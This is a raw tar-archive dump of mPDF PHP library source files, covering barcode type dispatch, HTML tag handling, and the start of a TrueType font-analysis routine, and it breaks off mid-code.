620, 620, 620, 620, 620, 620, 620, 620, 620, 620, 620, 620, 620, 620, 64, 621, 622, 622, 622, 622, 622, 622, 622, 622, 623, 623, 623, 623, 623, 623, 623, 623, 623, 623, 623, 623, 623, 623, 624, 624, 624, 624, 624, 624, 64, 64, 64, 625, 626, 626, 626, 626, 626, 626, 626, 626, 626, 626, 64, 64, 64, 64, 64, 627, 628, 628, 628, 628, 628, 628, 628, 628, 629, 629, 629, 629, 629, 629, 629, 629, 64, 64, 64, 64, 64, 64, 629, 629, 630, 631, 631, 631, 64, 631, 631, 64, 64, 64, 64, 64, 631, 632, 631, 633, 630, 630, 630, 630, 64, 630, 630, 630, 64, 630, 630, 630, 630, 630, 630, 630, 630, 630, 630, 630, 630, 630, 630, 630, 630, 630, 630, 630, 64, 64, 64, 64, 633, 634, 632, 64, 64, 64, 64, 635, 636, 636, 636, 636, 636, 636, 636, 636, 637, 637, 637, 637, 637, 637, 637, 637, 637, 64, 64, 64, 64, 64, 64, 64, 638, 638, 638, 638, 638, 638, 638, 638, 638, 638, 638, 638, 638, 639, 639, 640, 641, 641, 641, 641, 641, 641, 641, 641, 641, 641, 641, 641, 641, 641, 64, 64, 64, 642, 642, 642, 642, 642, 642, 642, 643, 643, 643, 643, 643, 643, 643, 643, 643, 643, 643, 643, 643, 643, 64, 64, 644, 644, 644, 644, 644, 644, 644, 644, 645, 645, 645, 645, 645, 645, 645, 645, 645, 645, 645, 64, 64, 64, 64, 64, 646, 646, 646, 646, 646, 646, 646, 646, 647, 647, 647, 647, 647, 647, 647, 647, 647, 64, 64, 64, 64, 64, 64, 64, 648, 648, 648, 648, 648, 648, 648, 648, 648, 648, 648, 648, 648, 648, 648, 64, 649, 650, 649, 651, 651, 651, 651, 651, 651, 651, 651, 651, 651, 651, 651, 651, 650, 650, 650, 650, 650, 650, 650, 650, 650, 650, 650, 650, 650, 650, 652, 653, 653, 653, 653, 653, 653, 653, 64, 64, 64, 64, 654, 654, 654, 654, 654, 654, 654, 654, 654, 654, 654, 654, 654, 654, 654, 654, 654, 654, 654, 654, 655, 655, 655, 655, 655, 655, 655, 655, 655, 655, 656, 656, 657, 658, 658, 658, 658, 658, 658, 658, 658, 658, 658, 658, 658, 658, 657, 657, 657, 656, 656, 656, 656, 657, 657, 659, 660, 661, 661, 662, 661, 661, 661, 661, 64, 64, 64, 64, 64, 64, 663, 663, 663, 663, 663, 663, 663, 663, 663, 64, 64, 64, 64, 64, 64, 64, 664, 664, 664, 664, 664, 664, 664, 664, 664, 664, 64, 64, 64, 64, 64, 64, 665, 665, 665, 666, 666, 666, 666, 666, 666, 666, 666, 666, 666, 666, 666, 666, 666, 666, 666, 666, 666, 666, 666, 667, 667, 667, 667, 667, 668, 667, 667, 667, 667, 667, 667, 669, 669, 64, 670, 670, 670, 670, 670, 670, 670, 670, 670, 670, 671, 671, 671, 671, 64, 64, 64, 64, 672, 672, 673, 674, 674, 674, 674, 674, 674, 674, 674, 674, 674, 674, 674, 674, 674, 674, 674, 673, 673, 673, 672, 672, 672, 672, 672, 672, 672, 672, 672, 673, 675, 674, 674, 674, 674, 676, 676, 676, 676, 64, 64, 64, 64, 64, 64, 64, 677, 677, 677, 677, 677, 677, 677, 677, 677, 677, 64, 64, 64, 64, 64, 64, 678, 678, 678, 678, 678, 678, 678, 678, 678, 678, 678, 679, 680, 679, 680, 680, 679, 679, 679, 679, 679, 679, 681, 682, 683, 683, 683, 683, 683, 683, 683, 683, 683, 683, 64, 64, 64, 64, 64, 64, 684, 684, 684, 684, 684, 684, 684, 684, 684, 684, 684, 684, 684, 684, 684, 64, 685, 685, 685, 685, 685, 685, 685, 685, 685, 685, 685, 64, 64, 64, 64, 64, 686, 686, 686, 686, 64, 64, 64, 64, 687, 687, 687, 687, 687, 687, 687, 687, 687, 687, 687, 687, 687, 687, 687, 64, 504, 64, 64, 64, 64, 64, 64, 64, 688, 688, 688, 688, 688, 688, 688, 688, 688, 688, 688, 688, 688, 64, 64, 64, 688, 689, 689, 689, 689, 689, 689, 689, 689, 689, 689, 689, 689, 689, 689, 689, 689, 689, 689, 689, 689, 689, 689, 64, 64, 64, 64, 64, 64, 64, 64, 690, 690, 690, 690, 691, 691, 691, 691, 691, 691, 691, 691, 691, 691, 691, 691, 691, 478, 474, 64, 64, 64, 64, 64, 64, 274, 274, 274, 274, 274, 274, 64, 64, 274, 274, 274, 274, 274, 274, 274, 64, 64, 274, 274, 274, 274, 274, 274, 274, 274, 274, 274, 274, 274, 692, 692, 395, 395, 395, 274, 274, 274, 693, 692, 692, 692, 692, 692, 405, 405, 405, 405, 405, 405, 405, 405, 133, 133, 133, 133, 133, 133, 133, 133, 274, 274, 78, 78, 78, 78, 78, 133, 133, 274, 274, 274, 274, 274, 274, 78, 78, 78, 78, 274, 274, 602, 602, 694, 694, 694, 602, 64, 64, 514, 514, 64, 64, 64, 64, 64, 64, 434, 434, 434, 434, 434, 434, 434, 434, 434, 434, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 434, 434, 434, 434, 434, 434, 434, 434, 434, 434, 34, 34, 34, 34, 34, 34, 34, 64, 34, 34, 34, 34, 34, 34, 434, 64, 434, 434, 64, 64, 434, 64, 64, 434, 434, 64, 64, 434, 434, 434, 434, 64, 434, 434, 34, 34, 64, 34, 64, 34, 34, 34, 34, 34, 34, 34, 64, 34, 34, 34, 34, 34, 34, 34, 434, 434, 64, 434, 434, 434, 434, 64, 64, 434, 434, 434, 434, 434, 434, 434, 434, 64, 434, 434, 434, 434, 434, 434, 434, 64, 34, 34, 434, 434, 64, 434, 434, 434, 434, 64, 434, 434, 434, 434, 434, 64, 434, 64, 64, 64, 434, 434, 434, 434, 434, 434, 434, 64, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 34, 64, 64, 434, 695, 34, 34, 34, 34, 34, 34, 34, 34, 34, 437, 34, 34, 34, 34, 34, 34, 434, 434, 434, 434, 434, 434, 434, 434, 434, 695, 34, 34, 34, 34, 34, 34, 34, 34, 34, 437, 34, 34, 434, 434, 434, 434, 434, 695, 34, 34, 34, 34, 34, 34, 34, 34, 34, 437, 34, 34, 34, 34, 34, 34, 434, 434, 434, 434, 434, 434, 434, 434, 434, 695, 34, 437, 34, 34, 34, 34, 34, 34, 34, 34, 434, 34, 64, 64, 696, 696, 696, 696, 696, 696, 696, 696, 696, 696, 123, 123, 123, 123, 64, 123, 123, 123, 64, 123, 123, 64, 123, 64, 64, 123, 64, 123, 123, 123, 123, 123, 123, 123, 123, 123, 123, 64, 123, 123, 123, 123, 64, 123, 64, 123, 64, 64, 64, 64, 64, 64, 123, 64, 64, 64, 64, 123, 64, 123, 64, 123, 64, 123, 123, 123, 64, 123, 64, 123, 64, 123, 64, 123, 64, 123, 123, 123, 123, 64, 123, 64, 123, 123, 64, 123, 123, 123, 123, 123, 123, 123, 123, 123, 64, 64, 64, 64, 64, 123, 123, 123, 64, 123, 123, 123, 111, 111, 64, 64, 64, 64, 64, 64, 33, 33, 33, 64, 64, 64, 64, 64, 445, 445, 445, 445, 445, 445, 274, 64, 445, 445, 26, 26, 64, 64, 64, 64, 445, 445, 445, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 274, 274, 697, 481, 481, 64, 64, 64, 64, 64, 481, 481, 481, 64, 64, 64, 64, 64, 481, 64, 64, 64, 64, 64, 64, 64, 481, 481, 64, 64, 64, 64, 64, 64, 26, 64, 64, 64, 64, 64, 64, 64, 26, 26, 26, 26, 26, 26, 64, 26, 26, 26, 26, 26, 26, 64, 64, 64, 26, 26, 26, 26, 26, 64, 26, 26, 26, 64, 26, 26, 26, 26, 26, 26, 64, 26, 26, 26, 26, 64, 64, 64, 26, 26, 26, 26, 26, 26, 64, 64, 64, 64, 64, 26, 26, 26, 26, 26, 26, 64, 64, 64, 64, 26, 26, 26, 489, 489, 489, 489, 489, 489, 488, 490, 490, 490, 490, 490, 490, 490, 64, 64, 64, 405, 64, 64, 64, 64, 64, 64, 405, 405, 405, 405, 405, 405, 405, 405, 561, 561, 561, 561, 561, 560, 64, 64, ]; } �������������������������������������������������������������������������������������������������������������������������������������������vendor/mpdf/mpdf/src/Barcode.php��������������������������������������������������������������������0000644�����������������00000011726�14760002214�0012557 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Mpdf; class Barcode { public function getBarcodeArray($code, $type, $pr = '') { $barcode = $this->getBarcode($code, $type, $pr); return $barcode ? $barcode->getData() : false; } public function getChecksum($code, $type) { $barcode = $this->getBarcode($code, $type); return $barcode ? $barcode->getChecksum() : false; } /** * @param string $code * @param string $type * @param float $pr * * @return \Mpdf\Barcode\BarcodeInterface */ public function getBarcode($code, $type, $pr = 0.0) { switch (strtoupper($type)) { case 'ISBN': case 'ISSN': case 'EAN13': // EAN 13 return new Barcode\EanUpc($code, 13, 11, 7, 0.33, 25.93); case 'UPCA': // UPC-A return new Barcode\EanUpc($code, 12, 9, 9, 0.33, 25.91); case 'UPCE': // UPC-E return new Barcode\EanUpc($code, 6, 9, 7, 0.33, 25.93); case 'EAN8': // EAN 8 return new Barcode\EanUpc($code, 8, 7, 7, 0.33, 21.64); case 'EAN2': // 2-Digits UPC-Based Extention return new Barcode\EanExt($code, 2, 7, 7, 0.33, 20, 9); case 'EAN5': // 5-Digits UPC-Based Extention return new Barcode\EanExt($code, 5, 7, 7, 0.33, 20, 9); case 'IMB': // IMB - Intelligent Mail Barcode - Onecode - USPS-B-3200 $xdim = 0.508; // Nominal value for X-dim (bar width) in mm (spec.) $bpi = 22; // Bars per inch return new Barcode\Imb($code, $xdim, ((25.4 / $bpi) - $xdim) / $xdim, ['D' => 2, 'A' => 2, 'F' => 3, 'T' => 1]); case 'RM4SCC': // RM4SCC (Royal Mail 4-state Customer Code) - CBC (Customer Bar Code) $xdim = 0.508; // Nominal value for X-dim (bar width) in mm (spec.) $bpi = 22; // Bars per inch return new Barcode\Rm4Scc($code, $xdim, ((25.4 / $bpi) - $xdim) / $xdim, ['D' => 5, 'A' => 5, 'F' => 8, 'T' => 2]); case 'KIX': // KIX (Klant index - Customer index) $xdim = 0.508; // Nominal value for X-dim (bar width) in mm (spec.) $bpi = 22; // Bars per inch return new Barcode\Rm4Scc($code, $xdim, ((25.4 / $bpi) - $xdim) / $xdim, ['D' => 5, 'A' => 5, 'F' => 8, 'T' => 2], true); case 'POSTNET': // POSTNET $xdim = 0.508; // Nominal value for X-dim (bar width) in mm (spec.) $bpi = 22; // Bars per inch return new Barcode\Postnet($code, $xdim, ((25.4 / $bpi) - $xdim) / $xdim, false); case 'PLANET': // PLANET $xdim = 0.508; // Nominal value for X-dim (bar width) in mm (spec.) $bpi = 22; // Bars per inch return new Barcode\Postnet($code, $xdim, ((25.4 / $bpi) - $xdim) / $xdim, true); case 'C93': // CODE 93 - USS-93 return new Barcode\Code93($code); case 'CODE11': // CODE 11 return new Barcode\Code11($code, ($pr > 0) ? $pr : 3); case 'MSI': // MSI (Variation of Plessey code) return new Barcode\Msi($code, false); case 'MSI+': // MSI + CHECKSUM (modulo 11) return new Barcode\Msi($code, true); case 'CODABAR': // CODABAR return new Barcode\Codabar($code, ($pr > 0) ? $pr : 2.5); case 'C128A': // CODE 128 A return new Barcode\Code128($code, 'A'); case 'C128B': // CODE 128 B return new Barcode\Code128($code, 'B'); case 'C128C': // CODE 128 C return new Barcode\Code128($code, 'C'); case 'C128RAW': // CODE 128 RAW -- code is a space separated list of codes with startcode but without checkdigit,stop,end ex: "105 12 34" return new Barcode\Code128($code, 'RAW'); case 'EAN128A': // EAN 128 A return new Barcode\Code128($code, 'A', true); case 'EAN128B': // EAN 128 B return new Barcode\Code128($code, 'B', true); case 'EAN128C': // EAN 128 C return new Barcode\Code128($code, 'C', true); case 'C39': // CODE 39 - ANSI MH10.8M-1983 - USD-3 - 3 of 9. return new Barcode\Code39($this->sanitizeCode($code), ($pr > 0) ? $pr : 2.5, false, false); case 'C39+': // CODE 39 with checksum return new Barcode\Code39($this->sanitizeCode($code), ($pr > 0) ? $pr : 2.5, false, true); case 'C39E': // CODE 39 EXTENDED return new Barcode\Code39($this->sanitizeCode($code), ($pr > 0) ? $pr : 2.5, true, false); case 'C39E+': // CODE 39 EXTENDED + CHECKSUM return new Barcode\Code39($this->sanitizeCode($code), ($pr > 0) ? $pr : 2.5, true, true); case 'S25': // Standard 2 of 5 return new Barcode\S25($code, false); case 'S25+': // Standard 2 of 5 + CHECKSUM return new Barcode\S25($code, true); case 'I25': // Interleaved 2 of 5 return new Barcode\I25($code, 0, ($pr > 0) ? $pr : 2.5, false); case 'I25+': // Interleaved 2 of 5 + CHECKSUM return new Barcode\I25($code, 0, ($pr > 0) ? $pr : 2.5, true); case 'I25B': // Interleaved 2 of 5 + Bearer bars return new Barcode\I25($code, 2, ($pr > 0) ? $pr : 2.5, false); case 'I25B+': // Interleaved 2 of 5 + CHECKSUM + Bearer bars return new Barcode\I25($code, 2, ($pr > 0) ? $pr : 2.5, true); } return false; } private function sanitizeCode($code) { $code = str_replace(chr(194) . chr(160), ' ', $code); // mPDF 5.3.95 (for utf-8 encoded) $code = str_replace(chr(160), ' ', $code); // mPDF 5.3.95 (for win-1252) return $code; } } ������������������������������������������vendor/mpdf/mpdf/src/Tag.php������������������������������������������������������������������������0000644�����������������00000016355�14760002214�0011736 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Mpdf; use Mpdf\Strict; use Mpdf\Color\ColorConverter; use Mpdf\Image\ImageProcessor; use Mpdf\Language\LanguageToFontInterface; class Tag { use Strict; /** * @var \Mpdf\Mpdf */ private $mpdf; /** * @var \Mpdf\Cache */ private $cache; /** * @var \Mpdf\CssManager */ private $cssManager; /** * @var \Mpdf\Form */ private $form; /** * @var \Mpdf\Otl */ private $otl; /** * @var \Mpdf\TableOfContents */ private $tableOfContents; /** * @var \Mpdf\SizeConverter */ private $sizeConverter; /** * @var \Mpdf\Color\ColorConverter */ private $colorConverter; /** * @var \Mpdf\Image\ImageProcessor */ private $imageProcessor; /** * @var \Mpdf\Language\LanguageToFontInterface */ private $languageToFont; /** * @param \Mpdf\Mpdf $mpdf * @param \Mpdf\Cache $cache * @param \Mpdf\CssManager $cssManager * @param \Mpdf\Form $form * @param \Mpdf\Otl $otl * @param \Mpdf\TableOfContents $tableOfContents * @param \Mpdf\SizeConverter $sizeConverter * @param \Mpdf\Color\ColorConverter $colorConverter * @param \Mpdf\Image\ImageProcessor $imageProcessor * @param \Mpdf\Language\LanguageToFontInterface $languageToFont */ public function __construct( Mpdf $mpdf, Cache $cache, CssManager $cssManager, Form $form, Otl $otl, TableOfContents $tableOfContents, SizeConverter $sizeConverter, ColorConverter $colorConverter, ImageProcessor $imageProcessor, LanguageToFontInterface $languageToFont ) { $this->mpdf = $mpdf; $this->cache = $cache; $this->cssManager = $cssManager; $this->form = $form; $this->otl = $otl; $this->tableOfContents = $tableOfContents; $this->sizeConverter = $sizeConverter; $this->colorConverter = $colorConverter; $this->imageProcessor = $imageProcessor; $this->languageToFont = $languageToFont; } /** * @param string $tag The tag name * @return \Mpdf\Tag\Tag */ private function getTagInstance($tag) { $className = self::getTagClassName($tag); if (class_exists($className)) { return new $className( $this->mpdf, $this->cache, $this->cssManager, $this->form, $this->otl, $this->tableOfContents, $this->sizeConverter, $this->colorConverter, $this->imageProcessor, $this->languageToFont ); } } /** * Returns the fully qualified name of the class handling the rendering of the given tag * * @param string $tag The tag name * @return string The fully qualified name */ public static function getTagClassName($tag) { static $map = [ 'BARCODE' => 'BarCode', 'BLOCKQUOTE' => 'BlockQuote', 'COLUMN_BREAK' => 'ColumnBreak', 'COLUMNBREAK' => 'ColumnBreak', 'DOTTAB' => 'DotTab', 'FIELDSET' => 'FieldSet', 'FIGCAPTION' => 'FigCaption', 'FORMFEED' => 'FormFeed', 'HGROUP' => 'HGroup', 'INDEXENTRY' => 'IndexEntry', 'INDEXINSERT' => 'IndexInsert', 'NEWCOLUMN' => 'NewColumn', 'NEWPAGE' => 'NewPage', 'PAGEFOOTER' => 'PageFooter', 'PAGEHEADER' => 'PageHeader', 'PAGE_BREAK' => 'PageBreak', 'PAGEBREAK' => 'PageBreak', 'SETHTMLPAGEFOOTER' => 'SetHtmlPageFooter', 'SETHTMLPAGEHEADER' => 'SetHtmlPageHeader', 'SETPAGEFOOTER' => 'SetPageFooter', 'SETPAGEHEADER' => 'SetPageHeader', 'TBODY' => 'TBody', 'TFOOT' => 'TFoot', 'THEAD' => 'THead', 'TEXTAREA' => 'TextArea', 'TEXTCIRCLE' => 'TextCircle', 'TOCENTRY' => 'TocEntry', 'TOCPAGEBREAK' => 'TocPageBreak', 'VAR' => 'VarTag', 'WATERMARKIMAGE' => 'WatermarkImage', 'WATERMARKTEXT' => 'WatermarkText', ]; $className = 'Mpdf\Tag\\'; $className .= isset($map[$tag]) ? $map[$tag] : ucfirst(strtolower($tag)); return $className; } public function OpenTag($tag, $attr, &$ahtml, &$ihtml) { // Correct for tags where HTML5 specifies optional end tags excluding table elements (cf WriteHTML() ) if ($this->mpdf->allow_html_optional_endtags) { if (isset($this->mpdf->blk[$this->mpdf->blklvl]['tag'])) { $closed = false; // li end tag may be omitted if immediately followed by another li element if (!$closed && $this->mpdf->blk[$this->mpdf->blklvl]['tag'] == 'LI' && $tag == 'LI') { $this->CloseTag('LI', $ahtml, $ihtml); $closed = true; } // dt end tag may be omitted if immediately followed by another dt element or a dd element if (!$closed && $this->mpdf->blk[$this->mpdf->blklvl]['tag'] == 'DT' && ($tag == 'DT' || $tag == 'DD')) { $this->CloseTag('DT', $ahtml, $ihtml); $closed = true; } // dd end tag may be omitted if immediately followed by another dd element or a dt element if (!$closed && $this->mpdf->blk[$this->mpdf->blklvl]['tag'] == 'DD' && ($tag == 'DT' || $tag == 'DD')) { $this->CloseTag('DD', $ahtml, $ihtml); $closed = true; } // p end tag may be omitted if immediately followed by an address, article, aside, blockquote, div, dl, // fieldset, form, h1, h2, h3, h4, h5, h6, hgroup, hr, main, nav, ol, p, pre, section, table, ul if (!$closed && $this->mpdf->blk[$this->mpdf->blklvl]['tag'] == 'P' && ($tag == 'P' || $tag == 'DIV' || $tag == 'H1' || $tag == 'H2' || $tag == 'H3' || $tag == 'H4' || $tag == 'H5' || $tag == 'H6' || $tag == 'UL' || $tag == 'OL' || $tag == 'TABLE' || $tag == 'PRE' || $tag == 'FORM' || $tag == 'ADDRESS' || $tag == 'BLOCKQUOTE' || $tag == 'CENTER' || $tag == 'DL' || $tag == 'HR' || $tag == 'ARTICLE' || $tag == 'ASIDE' || $tag == 'FIELDSET' || $tag == 'HGROUP' || $tag == 'MAIN' || $tag == 'NAV' || $tag == 'SECTION')) { $this->CloseTag('P', $ahtml, $ihtml); $closed = true; } // option end tag may be omitted if immediately followed by another option element // (or if it is immediately followed by an optgroup element) if (!$closed && $this->mpdf->blk[$this->mpdf->blklvl]['tag'] == 'OPTION' && $tag == 'OPTION') { $this->CloseTag('OPTION', $ahtml, $ihtml); $closed = true; } // Table elements - see also WriteHTML() if (!$closed && ($tag == 'TD' || $tag == 'TH') && $this->mpdf->lastoptionaltag == 'TD') { $this->CloseTag($this->mpdf->lastoptionaltag, $ahtml, $ihtml); $closed = true; } // *TABLES* if (!$closed && ($tag == 'TD' || $tag == 'TH') && $this->mpdf->lastoptionaltag == 'TH') { $this->CloseTag($this->mpdf->lastoptionaltag, $ahtml, $ihtml); $closed = true; } // *TABLES* if (!$closed && $tag == 'TR' && $this->mpdf->lastoptionaltag == 'TR') { $this->CloseTag($this->mpdf->lastoptionaltag, $ahtml, $ihtml); $closed = true; } // *TABLES* if (!$closed && $tag == 'TR' && $this->mpdf->lastoptionaltag == 'TD') { $this->CloseTag($this->mpdf->lastoptionaltag, $ahtml, $ihtml); $this->CloseTag('TR', $ahtml, $ihtml); $this->CloseTag('THEAD', $ahtml, $ihtml); $closed = true; } // *TABLES* if (!$closed && $tag == 'TR' && $this->mpdf->lastoptionaltag == 'TH') { $this->CloseTag($this->mpdf->lastoptionaltag, $ahtml, $ihtml); $this->CloseTag('TR', $ahtml, $ihtml); $this->CloseTag('THEAD', $ahtml, $ihtml); $closed = true; } // *TABLES* } } if ($object = $this->getTagInstance($tag)) { return $object->open($attr, $ahtml, $ihtml); } } public function CloseTag($tag, &$ahtml, &$ihtml) { if ($object = $this->getTagInstance($tag)) { return $object->close($ahtml, $ihtml); } } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������vendor/mpdf/mpdf/src/TTFontFileAnalysis.php���������������������������������������������������������0000644�����������������00000034327�14760002214�0014704 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Mpdf; class TTFontFileAnalysis extends TTFontFile { // Used to get font information from files in directory function extractCoreInfo($file, $TTCfontID = 0) { $this->filename = $file; $this->fh = fopen($file, 'rb'); if (!$this->fh) { throw new \Mpdf\MpdfException('ERROR - Can\'t open file ' . $file); } $this->_pos = 0; $this->charWidths = ''; $this->glyphPos = []; $this->charToGlyph = []; $this->tables = []; $this->otables = []; $this->ascent = 0; $this->descent = 0; $this->numTTCFonts = 0; $this->TTCFonts = []; $this->version = $version = $this->read_ulong(); $this->panose = []; // mPDF 5.0 if ($version == 0x4F54544F) { throw new \Mpdf\MpdfException('ERROR - NOT ADDED as Postscript outlines are not supported - ' . $file); } if ($version == 0x74746366) { if ($TTCfontID > 0) { $this->version = $version = $this->read_ulong(); // TTC Header version now if (!in_array($version, [0x00010000, 0x00020000])) { throw new \Mpdf\MpdfException("ERROR - NOT ADDED as Error parsing TrueType Collection: version=" . $version . " - " . $file); } } else { throw new \Mpdf\MpdfException("ERROR - Error parsing TrueType Collection - " . $file); } $this->numTTCFonts = $this->read_ulong(); for ($i = 1; $i <= $this->numTTCFonts; $i++) { $this->TTCFonts[$i]['offset'] = $this->read_ulong(); } $this->seek($this->TTCFonts[$TTCfontID]['offset']); $this->version = $version = $this->read_ulong(); // TTFont version again now $this->readTableDirectory(false); } else { if (!in_array($version, [0x00010000, 0x74727565])) { throw new \Mpdf\MpdfException("ERROR - NOT ADDED as Not a TrueType font: version=" . $version . " - " . $file); } $this->readTableDirectory(false); } /* Included for testing... $cmap_offset = $this->seek_table("cmap"); $this->skip(2); $cmapTableCount = $this->read_ushort(); $unicode_cmap_offset = 0; for ($i=0;$i<$cmapTableCount;$i++) { $x[$i]['platformId'] = $this->read_ushort(); $x[$i]['encodingId'] = $this->read_ushort(); $x[$i]['offset'] = $this->read_ulong(); $save_pos = $this->_pos; $x[$i]['format'] = $this->get_ushort($cmap_offset + $x[$i]['offset'] ); $this->seek($save_pos ); } print_r($x); exit; */ /////////////////////////////////// // name - Naming table /////////////////////////////////// /* Test purposes - displays table of names $name_offset = $this->seek_table("name"); $format = $this->read_ushort(); if ($format != 0 && $format != 1) // mPDF 5.3.73 die("Unknown name table format ".$format); $numRecords = $this->read_ushort(); $string_data_offset = $name_offset + $this->read_ushort(); for ($i=0;$i<$numRecords; $i++) { $x[$i]['platformId'] = $this->read_ushort(); $x[$i]['encodingId'] = $this->read_ushort(); $x[$i]['languageId'] = $this->read_ushort(); $x[$i]['nameId'] = $this->read_ushort(); $x[$i]['length'] = $this->read_ushort(); $x[$i]['offset'] = $this->read_ushort(); $N = ''; if ($x[$i]['platformId'] == 1 && $x[$i]['encodingId'] == 0 && $x[$i]['languageId'] == 0) { // Roman $opos = $this->_pos; $N = $this->get_chunk($string_data_offset + $x[$i]['offset'] , $x[$i]['length'] ); $this->_pos = $opos; $this->seek($opos); } else { // Unicode $opos = $this->_pos; $this->seek($string_data_offset + $x[$i]['offset'] ); $length = $x[$i]['length'] ; if ($length % 2 != 0) $length -= 1; // die("PostScript name is UTF-16BE string of odd length"); $length /= 2; $N = ''; while ($length > 0) { $char = $this->read_ushort(); $N .= (chr($char)); $length -= 1; } $this->_pos = $opos; $this->seek($opos); } $x[$i]['names'][$nameId] = $N; } print_r($x); exit; */ $name_offset = $this->seek_table("name"); $format = $this->read_ushort(); if ($format != 0 && $format != 1) { // mPDF 5.3.73 throw new \Mpdf\MpdfException("ERROR - NOT ADDED as Unknown name table format " . $format . " - " . $file); } $numRecords = $this->read_ushort(); $string_data_offset = $name_offset + $this->read_ushort(); $names = [1 => '', 2 => '', 3 => '', 4 => '', 6 => '']; $K = array_keys($names); $nameCount = count($names); for ($i = 0; $i < $numRecords; $i++) { $platformId = $this->read_ushort(); $encodingId = $this->read_ushort(); $languageId = $this->read_ushort(); $nameId = $this->read_ushort(); $length = $this->read_ushort(); $offset = $this->read_ushort(); if (!in_array($nameId, $K)) { continue; } $N = ''; if ($platformId == 3 && $encodingId == 1 && $languageId == 0x409) { // Microsoft, Unicode, US English, PS Name $opos = $this->_pos; $this->seek($string_data_offset + $offset); if ($length % 2 != 0) { $length += 1; } $length /= 2; $N = ''; while ($length > 0) { $char = $this->read_ushort(); $N .= (chr($char)); $length -= 1; } $this->_pos = $opos; $this->seek($opos); } elseif ($platformId == 1 && $encodingId == 0 && $languageId == 0) { // Macintosh, Roman, English, PS Name $opos = $this->_pos; $N = $this->get_chunk($string_data_offset + $offset, $length); $this->_pos = $opos; $this->seek($opos); } if ($N && $names[$nameId] == '') { $names[$nameId] = $N; $nameCount -= 1; if ($nameCount == 0) { break; } } } if ($names[6]) { $psName = preg_replace('/ /', '-', $names[6]); } elseif ($names[4]) { $psName = preg_replace('/ /', '-', $names[4]); } elseif ($names[1]) { $psName = preg_replace('/ /', '-', $names[1]); } else { $psName = ''; } if (!$names[1] && !$psName) { throw new \Mpdf\MpdfException("ERROR - NOT ADDED as Could not find valid font name - " . $file); } $this->name = $psName; if ($names[1]) { $this->familyName = $names[1]; } else { $this->familyName = $psName; } if ($names[2]) { $this->styleName = $names[2]; } else { $this->styleName = 'Regular'; } /////////////////////////////////// // head - Font header table /////////////////////////////////// $this->seek_table("head"); $ver_maj = $this->read_ushort(); $ver_min = $this->read_ushort(); if ($ver_maj != 1) { throw new \Mpdf\MpdfException('ERROR - NOT ADDED as Unknown head table version ' . $ver_maj . '.' . $ver_min . " - " . $file); } $this->fontRevision = $this->read_ushort() . $this->read_ushort(); $this->skip(4); $magic = $this->read_ulong(); if ($magic != 0x5F0F3CF5) { throw new \Mpdf\MpdfException('ERROR - NOT ADDED as Invalid head table magic ' . $magic . " - " . $file); } $this->skip(2); $this->unitsPerEm = $unitsPerEm = $this->read_ushort(); $scale = 1000 / $unitsPerEm; $this->skip(24); $macStyle = $this->read_short(); $this->skip(4); $indexLocFormat = $this->read_short(); /////////////////////////////////// // OS/2 - OS/2 and Windows metrics table /////////////////////////////////// $sFamily = ''; $panose = ''; $fsSelection = ''; if (isset($this->tables["OS/2"])) { $this->seek_table("OS/2"); $this->skip(30); $sF = $this->read_short(); $sFamily = ($sF >> 8); $this->_pos += 10; //PANOSE = 10 byte length $panose = fread($this->fh, 10); $this->panose = []; for ($p = 0; $p < strlen($panose); $p++) { $this->panose[] = ord($panose[$p]); } $this->skip(20); $fsSelection = $this->read_short(); } /////////////////////////////////// // post - PostScript table /////////////////////////////////// $this->seek_table("post"); $this->skip(4); $this->italicAngle = $this->read_short() + $this->read_ushort() / 65536.0; $this->skip(4); $isFixedPitch = $this->read_ulong(); /////////////////////////////////// // cmap - Character to glyph index mapping table /////////////////////////////////// $cmap_offset = $this->seek_table("cmap"); $this->skip(2); $cmapTableCount = $this->read_ushort(); $unicode_cmap_offset = 0; for ($i = 0; $i < $cmapTableCount; $i++) { $platformID = $this->read_ushort(); $encodingID = $this->read_ushort(); $offset = $this->read_ulong(); $save_pos = $this->_pos; if (($platformID == 3 && $encodingID == 1) || $platformID == 0) { // Microsoft, Unicode $format = $this->get_ushort($cmap_offset + $offset); if ($format == 4) { if (!$unicode_cmap_offset) { $unicode_cmap_offset = $cmap_offset + $offset; } } } elseif ((($platformID == 3 && $encodingID == 10) || $platformID == 0)) { // Microsoft, Unicode Format 12 table HKCS $format = $this->get_ushort($cmap_offset + $offset); if ($format == 12) { $unicode_cmap_offset = $cmap_offset + $offset; break; } } $this->seek($save_pos); } if (!$unicode_cmap_offset) { throw new \Mpdf\MpdfException('ERROR - Font (' . $this->filename . ') NOT ADDED as it is not Unicode encoded, and cannot be used by mPDF'); } $rtl = false; $indic = false; $cjk = false; $sip = false; $smp = false; $pua = false; $puaag = false; $glyphToChar = []; $unAGlyphs = ''; // Format 12 CMAP does characters above Unicode BMP i.e. some HKCS characters U+20000 and above if ($format == 12) { $this->seek($unicode_cmap_offset + 4); $length = $this->read_ulong(); $limit = $unicode_cmap_offset + $length; $this->skip(4); $nGroups = $this->read_ulong(); for ($i = 0; $i < $nGroups; $i++) { $startCharCode = $this->read_ulong(); $endCharCode = $this->read_ulong(); $startGlyphCode = $this->read_ulong(); if (($endCharCode > 0x20000 && $endCharCode < 0x2A6DF) || ($endCharCode > 0x2F800 && $endCharCode < 0x2FA1F)) { $sip = true; } if ($endCharCode > 0x10000 && $endCharCode < 0x1FFFF) { $smp = true; } if (($endCharCode > 0x0590 && $endCharCode < 0x077F) || ($endCharCode > 0xFE70 && $endCharCode < 0xFEFF) || ($endCharCode > 0xFB50 && $endCharCode < 0xFDFF)) { $rtl = true; } if ($endCharCode > 0x0900 && $endCharCode < 0x0DFF) { $indic = true; } if ($endCharCode > 0xE000 && $endCharCode < 0xF8FF) { $pua = true; if ($endCharCode > 0xF500 && $endCharCode < 0xF7FF) { $puaag = true; } } if (($endCharCode > 